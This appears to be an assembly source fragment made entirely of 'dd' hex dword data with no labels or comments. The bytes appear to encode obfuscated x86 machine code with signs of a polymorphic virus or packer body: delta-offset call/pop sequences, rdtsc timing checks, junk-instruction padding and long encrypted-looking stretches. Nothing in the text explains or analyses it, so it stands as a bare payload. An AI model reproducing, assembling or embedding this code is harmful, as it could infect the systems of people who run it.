		dd 16042444h, 41000000h, 36E0C351h, 106C73Dh, 6A000100h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0B9A7C356h, 2587E1Eh, 2830F96h, 8B000000h
		dd 0DE850DEh, 69000000h, 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh
		dd 49BF6657h, 965B5F95h, 3870Fh, 8B660000h, 0EAB5FFFAh
		dd 6A0617A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 78CC352h, 0E38ED0CCh, 1A860Fh
		dd 0EE80000h, 0DF000000h, 6CAAAD4Fh, 0BAACAECFh, 804892FEh
		dd 0B5BD8BCDh, 5B061424h, 108195FFh, 0B70F0614h, 0DEB58BFBh
		dd 0E90617A7h, 11h, 2864884Eh, 0E6C55807h, 6F71B2ACh, 92F366F0h
		dd 0F9858B6Bh, 2906140Fh, 142C2D95h, 0C4868906h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89B8C353h, 140CA9B5h, 69958B06h, 6A06142Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C4BDC351h, 0FCA92B75h, 9F7ECF3Ch, 83F98B66h
		dd 8B6604C2h, 0F8A0FDAh, 0E9000000h, 0Ah, 20F6D7BFh, 0D46B2314h
		dd 5089F971h, 50006A20h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0ADD61F80h, 0B46B24Bh, 1430CD9Dh
		dd 0DFCF8106h, 8D333E11h, 17BC2385h, 0C3816606h, 86890FC8h
		dd 0B8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	12C35040h, 7C46A794h, 50E21640h, 1AA1BD29h, 815F0614h
		dd 0FDD259CFh, 0BF006A57h, 3BFB3668h, 0A7EAB5FFh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 6653ACC3h, 0F2355BFh, 78Bh, 0E3BB5000h, 5F6FD5B9h, 33AD95FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 96F961C3h, 0F943BF66h, 0F2B16050h, 9E850h
		dd 0EC830000h, 6062BCA0h, 5A1AE1EBh, 0F96615Ah,	988h, 3890F00h
		dd 0F000000h, 0B5FFDBB7h, 617A7EAh, 95FFF9B3h, 6142309h
		dd 2B599D8Bh, 0BD830614h, 6141189h, 4D840F00h, 0E8000000h
		dd 0Dh,	0A0572732h, 0BCC7DFF1h,	0B3DCADBh, 0EE945h, 66B30000h
		dd 97BE7E8Ch, 0C51B13C6h, 920EAF07h, 0E860505Fh, 8, 4FC9308Bh
		dd 94F02D77h, 0C1F819B8h, 52505939h, 0D78B310Fh, 8961585Ah
		dd 9D292434h, 61417B5h,	0A7EAB5FFh, 9D8B0617h, 6141F1Dh
		dd 2D595FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 673DCEC3h, 52250A71h, 0B5FFA776h
		dd 617A7EAh, 10ADBD8Bh,	95FF0614h, 6140B75h, 112DBD83h
		dd 0F020614h, 6884h, 0B5296000h, 6140795h, 0F6BF0F60h
		dd 2D39858Bh, 61610614h, 55858Bh, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0D5784BC3h
		dd 811994DCh, 0C2B13AF7h, 0C612h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 5FC35242h, 89FC80E2h, 140C4D95h
		dd 4985C706h, 6141Eh, 0F000000h, 58Fh, 4C30BB00h, 1FE95381h
		dd 51FFFFF3h, 7719D89h,	8B5F0614h, 0B98501C1h, 8D06142Fh
		dd 14079185h, 0D7F38106h, 5012FAFEh, 0E42AE6BBh, 24048965h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9CC35545h
		dd 0FE6D2A5Dh, 44003263h, 6AF8DCh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 5FC35747h, 9E9h, 6BE33700h
		dd 7DAFCC14h, 6A18F7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 5FC35040h, 0F3858D83h, 0F0618ADh, 68Dh
		dd 119D8B00h, 83061402h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 2C5C17C3h, 0E3E85691h
		dd 9029C2AAh, 78157FBFh, 0AE85078h, 3B000000h, 0B0E79F40h
		dd 5B97F947h, 38A0F56h,	66000000h, 905BD88Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B9C35040h, 0A8FB0F25h
		dd 6A7536h, 42EF8166h, 6A006A8Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 86D6C356h
		dd 8BC1AD84h, 141B95BDh, 0F8BF6606h, 1995FFE6h,	106141Bh
		dd 140085B5h, 788D8D06h, 530617A7h, 5FFE8B66h, 0BD83D1FFh
		dd 61401CDh, 8C850F01h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6AFBC353h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9F39D93Dh, 81486926h, 0C59D337Ch, 0E906140Dh
		dd 0Fh,	0A728CBAh, 5DDCACF8h, 680D93EAh, 90D217F1h, 0BB50F4B3h
		dd 21EFEE14h, 61BD8B90h, 0FF06142Eh, 1433AD95h,	10E8F906h
		dd 0C5000000h, 66048BB7h, 204A22DFh, 0C465ED18h, 66AB825Dh
		dd 0E95FDA8Bh, 0E4Ah, 0E8h, 0ED815D00h,	618ADFDh, 9E960h
		dd 4E7C0000h, 5D826738h, 33E6EFE0h, 14121DBDh, 8A0F6106h
		dd 6, 34658D89h, 1500614h, 1425BDB5h, 858D5F06h, 6178E49h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7BC35141h
		dd 0E8ACA4D3h, 60525050h, 58505850h, 0E9310F61h, 12h, 0EAB3E6Bh
		dd 68503F56h, 5DD4675Ah, 18A8CD2h, 585A4E1Ch, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0F9CFC352h, 0E1D9D5CFh, 0EE9h, 5D557200h
		dd 1E191569h, 3DD322DEh, 64B1329Ah, 35FFh, 81660000h, 64758BCBh
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 7D447FC3h, 1D8509CEh, 0FF06142Ch
		dd 142DED85h
		dd 1DBD8B06h, 6A061430h, 0BF0F60FFh, 0B5FF61DEh, 61411C9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h
		dd 0C6D41A14h, 0F8827802h, 8995FF74h, 0E906142Ah, 152h
		dd 86CB8166h, 8B00B02Eh, 140A5DBDh, 8170E606h, 0EF89D9E3h
		dd 6E91Dh, 0F0E10000h, 0D87ACF98h, 4CBB71E4h, 3C4CC4CAh
		dd 23830F61h, 0E9000001h, 0Fh, 0E0EF0A83h, 0FA6E9A01h
		dd 7E4A6820h, 0F3B0DECh, 820FC8B6h, 11h, 9E8h, 7742EE00h
		dd 143C73C6h, 5F57CAEFh, 6BA5Fh, 0BF0F0000h, 0C1C18BDAh
		dd 0F5004E8h, 80h, 0F7665B00h, 0F9BD89E2h, 2B061410h, 2830FC8h
		dd 0B3000000h, 759D8959h, 8B061426h, 0DE9D1h, 669D0000h
		dd 0FD793CC6h, 8E84A9E3h, 0E9B9CA0Fh, 28h, 0DE8h, 36ED7B00h
		dd 70937F60h, 0F7784DE8h, 9D89A2ADh, 614076Dh, 0AE95Bh
		dd 3DC40000h, 0B13CBE55h, 0AC4C15DAh, 9D5858Bh,	0C0830614h
		dd 0F7C78107h, 837F9B1Ch, 0F38100C0h, 785278DFh, 23B98D09h
		dd 0D03B0614h, 15830Fh,	9D8B0000h, 6140039h, 55E9h, 3820F00h
		dd 66000000h, 8BF5D98Bh, 140C718Dh, 14E906h, 0B1640000h
		dd 0FBF5BD72h, 0E233137Eh, 0DD76680Ch, 886F599Dh, 0E1836ACFh
		dd 23840F01h, 80000000h, 0A5838BF7h, 6140C71h, 0EB8166FEh
		dd 9589BA72h, 61409D5h,	30F1BD8Bh, 0EB800614h, 0E9BFh
		dd 0B58D0000h, 61809ACh, 6A006AFCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1EA4C353h
		dd 234C1263h, 2A6DDEA3h, 299D89F5h, 0FF061420h,	14297195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 3ABAB064h, 0B980A58Eh, 802h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 17C35747h, 4A8DAA94h
		dd 83DE8BE1h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 80F0F9C3h, 0E6052AE5h, 1CB99D8Bh
		dd 0BF0F0614h, 0FC5F57FBh, 5D858960h, 8B061416h, 142DA99Dh
		dd 0C02B6106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	69C35040h, 10A19D8Bh, 0EE90614h, 0D7000000h, 534BCC70h
		dd 0CA6C3767h, 0C709718h, 13E896h, 0D7650000h, 7F799EDCh
		dd 0FFED7AF2h, 797D1197h, 0D643AE5Ch, 618509E9h, 5F06141Ch
		dd 0BAh, 9E900h, 0C25F0000h, 33DC1A8Ch,	0AD894075h, 0E8D1C233h
		dd 0E983D003h, 81F47504h, 9D1271CFh, 57006A2Dh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 815DD816h
		dd 0CF5A17CBh, 880D79h,	0BB660000h, 0FE95494h, 8000000h
		dd 0C6DE9A91h, 0B5B248E4h, 0EC400B2h, 958B2119h, 6142B69h
		dd 8D8BD88Bh, 6141055h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 25C35545h, 0C810Fh, 7E90000h,	0DB000000h
		dd 0F6C1AA60h, 8B503D9Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0EDC35545h, 89B7C780h, 142E8595h, 4DBD8306h, 6140Fh
		dd 5E840Fh, 0E0BB0000h,	0B84E8620h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E1C35646h
		dd 0A6FA1CADh, 8DDFB70Fh, 144DFF8Dh, 14E806h, 0F8D10000h
		dd 0E912AE5Dh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh, 8B0F52F1h
		dd 6, 31559D8Bh, 0FF5F0614h, 0D9BF0FE1h, 13DBD83h, 0F000614h
		dd 4DF84h, 4CF78100h, 83148810h, 14013DBDh, 840F0106h
		dd 4E7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	8AC35545h, 0E820BA96h, 0Bh, 0F0F798Eh, 3C36D145h
		dd 0E932D3C9h, 12h, 8AE2B9E3h, 0D6D5EA07h, 1FAABE1Bh, 7370850h
		dd 835F94F1h, 14013DBDh, 860F0306h, 45Dh, 2FADB589h, 9600614h
		dd 142C2585h, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0CCC35040h, 7E9E98Fh,	97000000h, 0BB4937BAh
		dd 0E180A9F5h, 0EF816604h, 0C90A7FBAh, 17F840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 88D87BC3h, 8BE0E4DEh, 1430E59Dh, 35858B06h, 6606140Eh
		dd 0FBBBFE8Bh, 33336127h, 1406A985h, 0EE89006h,	6000000h
		dd 0A20792B7h, 9C8AA9F1h, 8F0267B8h, 0FE8B66CFh, 6090505Fh
		dd 269BD31h, 0BF0F0614h, 8E861CFh, 0E7000000h, 0F9417674h
		dd 5754A8B9h, 820Fh, 5B5B0000h,	6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0EAA3CFC3h
		dd 0D3816679h, 4E8AFC0h, 0FF000000h, 66001F03h,	0BF50F98Bh
		dd 24D89CE2h, 424448Bh,	2FC5BF66h, 6660008Bh, 61046BB9h
		dd 4244489h, 2850Fh, 0D98B0000h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E99D8B98h
		dd 0FF06140Dh, 14089D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 1C3C3B21h
		dd 0C95FB17Bh, 0B05BD8Bh, 85890614h, 617A7EAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FCC35343h, 242E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E927CF5Bh, 12h,	9AB52A75h, 0ED5A6E3Ah
		dd 0FD3AA3DFh, 8F60A666h, 0F50FE3Dh, 8B5BFFBFh,	0E2858BDFh
		dd 6A0617A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 36ECC350h, 0F75116A1h,	1800C7h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6B29C3C3h, 0D1E7368Ah, 0A7E6B58Bh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 16EE2C3h, 140C25BDh,	81858B06h, 0FC061402h, 0AE80689h
		dd 9000000h, 0D7E0F500h, 0F2963231h, 8E9CBh, 87B10000h
		dd 4CB8EB49h, 895F7741h, 1423E185h, 35858B06h, 5206140Eh
		dd 446895Bh, 0D98D8960h, 2B061434h, 1412498Dh, 66506106h
		dd 89BE2EBFh, 8B662434h, 0E2B5FFDEh, 6A0617A7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0CE5FC352h, 32ECD508h, 81AC1283h, 2D1614D3h,	0E8DE8B76h
		dd 4, 1F03FFh, 0E850F98Bh, 0Fh,	0AA73342Bh, 8133C872h
		dd 3C47FD35h, 0BBB68668h, 5408F49Eh, 24448B5Bh,	0E434BF04h
		dd 8B6A13h, 0ECB86660h,	448961CBh, 6A580424h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4053C353h, 9B64C947h, 0BB1A2F4Ah, 3ACAF404h,	1821BD31h
		dd 858D0614h, 617A7EAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FC35747h, 23C0EDB5h,	8185A177h, 0A73D7EEFh
		dd 8E0F9028h, 4, 0FE34BB66h, 0BE86050h,	0A3000000h, 0DAD80D83h
		dd 0FE940BE6h, 5250FCC4h, 585A310Fh, 106DBE5Eh,	90614871h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 66C35141h
		dd 0B9BD8BB6h, 0FC061419h, 89D95FFh, 6A0614h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 61E698C3h
		dd 0C7FFB70Fh, 14013D85h, 306h,	0EB816600h, 0BE95130h
		dd 3E000000h, 0B4A0F488h, 15E0DE1h, 0BD831568h,	617A7EAh
		dd 5E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5048C355h, 71CB0BFBh
		dd 0F895C9A6h, 4FE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0F2442EE4h, 9AD5C681h
		dd 0BE9DAh, 1E640000h, 352F2BA3h, 7E9DE03Bh, 0C30505Dh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B1C35141h, 0D1DE7FB5h
		dd 664D6739h, 12E8F88Bh, 8F000000h, 0B1F8BD0h, 0CF9D635Fh
		dd 4390C8A9h, 68DFEC50h, 0BD835BD3h, 614013Dh, 0AC850F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 88F9C352h, 8928C3A9h, 142C6995h
		dd 0B59D0306h, 83061419h, 17A7EABDh, 840F0006h,	373h, 0A7EAB5FFh
		dd 0DABF0617h, 0FF393C14h, 14033995h, 59B58906h, 8B061410h
		dd 17A7DEB5h, 459D8B06h, 0C706141Fh, 1000106h, 4830F00h
		dd 66000000h, 963CF0BBh, 11E8h,	94835C00h, 9D157556h, 0C30A7F81h
		dd 2C4C9543h, 6051E221h, 505B5F61h, 6A966160h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0A035C357h, 3BC1E96Fh, 0FFDA8B9Ch, 17A7EAB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0C872AA73h, 199D0133h, 0F06141Ah, 8B66DABFh,	8195FFD8h
		dd 52061410h, 0B58B5BF9h, 617A7DEh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 27C35646h, 66CAABDAh, 858BF98Bh
		dd 6140FF9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0A7C35242h, 4CAD028h, 0E50B9D47h, 8090EB81h, 868914F0h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0CEC35747h, 0F7CE145Dh,	2B69958Bh, 0BD890614h
		dd 6140CF5h, 0F04C283h,	1583h, 0AE800h,	0F25A0000h, 0D5F819C7h
		dd 0F15CEA5Ch, 77622BBh, 50895F31h, 57006A20h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 141D9115h
		dd 2608290Eh, 8DFA8B66h, 17BC2385h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 1D438B54h
		dd 0B3AA3A1Eh, 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D6047BC3h, 0DEE026F4h
		dd 1830FCCh, 0FC000000h, 0F60006Ah, 0FF61FAB7h,	17A7EAB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h
		dd 1142F860h, 95FF6362h, 61433ADh, 9E8h, 0B98AC00h, 7FE40B16h
		dd 8B665D77h, 8B965BFAh, 8D0F50D9h, 0Fh, 0AE9h,	657F6200h
		dd 3F70009Eh, 968F3B4Ah, 0B5FFA6B3h, 617A7EAh, 6E9h, 4D7E0D00h
		dd 0FF08153Eh, 14230995h, 45DF8106h, 832F8A49h,	141189BDh
		dd 840F0006h, 54h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0DCC35242h, 5722A560h, 0B652BB66h, 6057965Bh
		dd 8E8C18Bh, 91000000h,	531623h, 5ACC1CDFh, 56505F61h
		dd 965FFA8Ah, 68C0F60h,	29000000h, 140B258Dh, 41858B06h
		dd 61061418h, 0A7EAB5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 8496ACC3h, 0D5A6953Dh
		dd 0B589967Ah, 614134Dh, 2D595FFh, 860F0614h, 1, 0E78060FCh
		dd 0FF61FC38h, 17A7EAB5h, 8B0F06h, 0FF000000h, 140B7595h
		dd 0BBF6606h, 119529D7h, 8306142Bh, 14112DBDh, 840F0206h
		dd 3Fh,	0B2A88CBFh, 55858B09h, 6A061400h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B7BBC352h
		dd 0C6A4h, 9E8h, 1C7EFA00h, 0E666BD3Dh,	0BF66CA4Fh, 0C75B4072h
		dd 141E4985h, 6, 0E974B300h, 0FFFFF2F3h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0CEC35343h, 0A9FF9FC8h
		dd 0E7816698h, 0C18B7C36h, 0EE8h, 9C5DC600h, 6BC764F5h
		dd 49701A38h, 896FC8BEh, 140899BDh, 20E95B06h, 11000000h
		dd 54E44Dh, 6 dup(0)
		dd 0E9000000h, 540h, 7C80FB0Bh,	67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h
		dd 1FE39EADh, 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h
		dd 0E75A37FBh, 0E82E8B46h, 0C1CB0855h, 0DFD6F48Bh, 9848655h
		dd 225F6EF1h, 4C3F41DEh, 0D35CCF3Ch, 53F09260h,	2A6364E3h
		dd 8092B612h, 0CAC2B9CBh, 0E11994B5h, 64A3CAA5h, 78E72B62h
		dd 0E19CAA4Ch, 91BFCEFDh, 0CF58181Ah, 0AFB0C8C3h, 80B3FCA2h
		dd 353F092h, 64E31B3Fh,	232F5EB5h, 47E05368h, 53F092F4h
		dd 49090B0Fh, 0EB66C732h, 0C353F092h, 97FBCFC6h, 0C1BCCE9Dh
		dd 92D668C9h, 0D8EB53F0h, 0FD0D8081h, 583C736Bh, 3B5FF286h
		dd 3994A700h, 2B2F53F0h, 0EFEB02E9h, 85953741h,	8C5Dh
		dd 65675B00h, 9AA70636h, 9953F092h, 0FD8C9FF6h,	0BE42D0CBh
		dd 85948C70h, 1E8DBFCEh, 1307DEEh, 82AC0F66h, 0EF989ABEh
		dd 1, 376667C5h, 0B14D4C04h, 0E52B44ECh, 0BFC09F2Fh, 0E542BDCEh
		dd 53F06056h, 91BE69EDh, 9260E414h, 0B63F4D12h,	1826F08Fh
		dd 95A5C914h, 0CBC3BECAh, 0E31B92B4h, 99A1C8A7h, 94B3DAB5h
		dd 69F63A73h, 4114D657h, 15A9B3Fh, 16728A05h, 314ACEF2h
		dd 0FFEA59C6h, 176953F0h, 71F1BAC4h, 0F63C20D9h, 41188B0Ch
		dd 0D93D4D40h, 0F092A190h, 0D45E2253h, 65950807h, 255877F6h
		dd 0CA79A615h, 4953F092h, 3E4FA1C5h, 3CBE17ADh,	4F702FE5h
		dd 315E2D5Eh, 32C04474h, 0A1DCED72h, 0FEBBD6A9h, 94FB18CEh
		dd 749B388Eh, 0B77B3655h, 0A1951628h, 2B180AE2h, 522D5D41h
		dd 0D6417A37h, 0C545EE9Eh, 98A157F6h, 53F0ACA9h, 0D0EC262Ah
		dd 6F6B824Dh, 8594C8D1h, 6CCDh,	6867EB00h, 0DE960535h
		dd 0BFCD3C61h, 0DE50B4C4h, 74BE6A19h, 0D9F1ACA7h, 42760EBDh
		dd 7504F18Dh, 4E3F40DFh, 0B358DA3Eh, 631E2D5Ch,	8C01009Fh
		dd 0AEE5E37Ch, 0ADC4039Eh, 95268FADh, 420F85h, 67A50000h
		dd 7126C768h, 9A8C0906h, 9A1B12DFh, 53F0EBAFh, 183C2024h
		dd 38739FE0h, 0D43B5400h, 171B96B5h, 54EAE564h,	0DB597D38h
		dd 37666751h, 92A4A607h, 0F69953F0h, 8C8D539Fh,	1298594h
		dd 87000000h, 1A316C67h, 3C4C4743h, 156A5AD8h, 780B8F3h
		dd 8782C128h, 6F7E060Ah, 545E219h, 0FE49DC62h, 86F1629Ah
		dd 0E4822A19h, 7AA5A955h, 0A226564Bh, 1289BB50h, 3C6F910Eh
		dd 832C9F0Ch, 55E482B0h, 0C8C54F33h, 55E48277h,	4D7C0378h
		dd 0D63DC250h, 0D5E695B7h, 820E3D7Ah, 738555E4h, 980B4922h
		dd 7CABCF77h, 0DE3A524Bh, 1039C54h, 0DBED728Ah,	0D7EA8A0h
		dd 0DD57527Eh, 0E944D73Eh, 0E49CFD4Ch, 127655h,	0BE42394Bh
		dd 0A89ACC12h, 38532A8Bh, 52E14E7Dh, 0D155E490h, 27C4A76Dh
		dd 69000001h, 3F1F9E1Bh, 2DE788B0h, 0D7F48B2Bh,	816054DEh
		dd 92F043ECh, 0F47353F0h, 28ACDCD9h, 4AEBE004h,	49DC90CCh
		dd 56292125h, 8858234h,	0C66794F0h, 55E4900Bh, 9C608488h
		dd 728A0103h, 0A8A0DBEDh, 15920D7Eh, 55E49026h,	0B45BD9BDh
		dd 611C2E5Dh, 8EEB319Dh, 528B8BA8h, 98000000h, 0B3CBC6C1h
		dd 805BDD57h, 9DEC1F65h, 0BF1B336Eh, 3EED4A75h,	72D3F092h
		dd 6DABA607h, 24282C0Fh, 4A19AEEh, 2C0F6D35h, 96A6CA4Eh
		dd 0F6D2417h, 254C132Ch, 2E8FE401h, 2C0F6D13h, 7388AC90h
		dd 0F6D6732h, 6463FCACh, 2B010529h, 7Ah, 1B618041h, 192875E0h
		dd 9A53F092h, 0E2437CB6h, 49DC6A20h, 0EB4675D9h, 0E49AFF4Ah
		dd 0FDB0DF55h, 117549CDh, 0BBE20A1Fh, 30C2969Bh, 0A2D9EB74h
		dd 0CCBFC15Eh, 6FC37DBCh, 8FC855E4h, 99B6B568h,	4779161Ch
		dd 29582754h, 8AFABE74h, 83FE0D7Bh, 0FE51ADF5h,	0A46EA6A9h
		dd 0CD0EDF29h, 0FC0B544Fh, 126D9D81h, 494446F0h, 43B21525h
		dd 9DEBFA2Ch, 52B7C16Eh, 0C84C45F4h, 61808E44h,	3147E01Bh
		dd 0CA49D9DFh, 17293646h, 507A064h, 7FF56696h, 96B32B89h
		dd 0B56BEF1Fh, 66AC1B4Dh, 0ED9D8477h, 49A00F80h, 77697D6h
		dd 712C5E0Dh, 9D1032ADh, 0B9F4126Dh, 41F8F282h,	0D3D00453h
		dd 33E26541h, 0E09BADDCh, 0F1106F1Ch, 0A088CBCh, 40783355h
		dd 0E95F85D3h, 3274E90Ch, 366E0h, 8C8C0000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 89571F27h, 4C781E7h
		dd 83000000h, 0FF5704EFh, 5F042474h, 5C24048Fh,	5E08950h
		dd 4, 42Dh, 24048700h, 240C895Ch, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 57241C89h, 18BC6CBFh, 34815706h, 630B4224h
		dd 0F1815958h, 58630B42h, 4EC815Fh, 89000000h, 4832424h
		dd 835B0424h, 0C8904ECh, 242C8124h, 1E774D4Ch, 8108438Fh
		dd 4D4C0843h, 1C8B1E77h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 592434FFh, 4C481h, 3DE90000h, 4FFFBBFh
		dd 0A996795h, 0A7A149DDh, 18C106B8h, 0FFC50306h, 2CC5D7E0h
		dd 0E2346A33h, 6EC1F609h, 32267D32h, 0CD28B83Ah, 0EFF9E4Ah
		dd 0E32E7D26h, 0B340D01Bh, 91858D32h, 6A061407h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D238C350h, 8C9155BFh, 0BB669061h, 0E85078D0h, 9, 0D72CBA0Ah
		dd 7E7D34DDh, 5FF88B3Dh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD8B5DEEh, 6142A79h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 21109FC3h, 0E9006ADEh, 0Dh, 44CCDB8Eh, 0F9FA91E8h
		dd 84417B8Ch, 94858D66h, 0B30618C3h, 5C08317h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EAC35141h, 62DC519h
		dd 75BD8BB3h, 90061409h, 830F6053h, 0
		dd 8B505B61h, 6AFC90FBh, 10E900h, 97F80000h, 396F7050h
		dd 842759E5h, 0C6C249FCh, 6AF8D0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0A8C35141h,	8D8B6052h, 6142355h
		dd 1995FF61h, 6A06141Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0B0FC352h, 0F48E5BEFh
		dd 49FA819Eh, 10E960h, 0F3F90000h, 528C9AAFh, 5633A7F7h
		dd 0D9CB338Ah, 0F3BA35CFh, 615CC0D7h, 8D8DDC8Ah, 617A778h
		dd 0AE18D89h, 0D1FF0614h, 31658501h, 0BD830614h, 61401CDh
		dd 3D850F01h, 0E9000000h, 0Bh, 853C12F3h, 8EC48009h, 6AD0E24Fh
		dd 0F7816602h, 0BD8BF5DBh, 6140C19h, 24048950h,	0AE8h
		dd 1EBDE500h, 20ADBD5Ah, 8B91D965h, 1425F19Dh, 95FF5F06h
		dd 61433ADh, 0E52E9h, 0E800h, 815D0000h, 18C39EEDh, 0EE906h
		dd 3C8F0000h, 0FF550410h, 0F0854D4Fh, 0B9C752BCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ACC35141h, 0AFAED0ACh
